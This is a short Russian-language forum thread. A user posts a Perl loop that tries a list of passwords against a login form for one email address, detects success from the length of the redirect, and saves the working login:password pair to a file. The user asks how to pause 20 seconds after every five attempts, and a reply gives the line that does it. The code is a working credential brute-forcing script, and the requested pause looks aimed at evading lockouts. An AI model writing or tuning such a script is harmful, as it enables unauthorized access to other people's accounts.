Perl работа с циклом

Здравствуйте , подскажите следующее:
Например есть цикл такого вида:

Code:

.......
while(@p)
{ 
	my $pass = '';
	$pass = shift @p;
	
	my $response = $ua->post($url,['email' => $login,'pass' => $pass]);
	
	my $location = $response->header('Location');
	my $length = length($location);
	if($length > 90)
	{
		print "[+] $pass : $location : $length\n";
		
		open(my $save, '>', 'true.txt');
		print $save "$login:$pass";
		close $save;

		last;

	}	
	else{
		print "[-] $pass : $location : $length\n";
	}
	sleep 4;
}

Как например после 5-того прохода цыкла , он должен остановиться на 20сек , а затем продолжить свою работу , и так каждые 5 проходов цикла .
?!

 

$i = 1;
...
sleep 20 unless $i++ % 5;

 

Благодарю.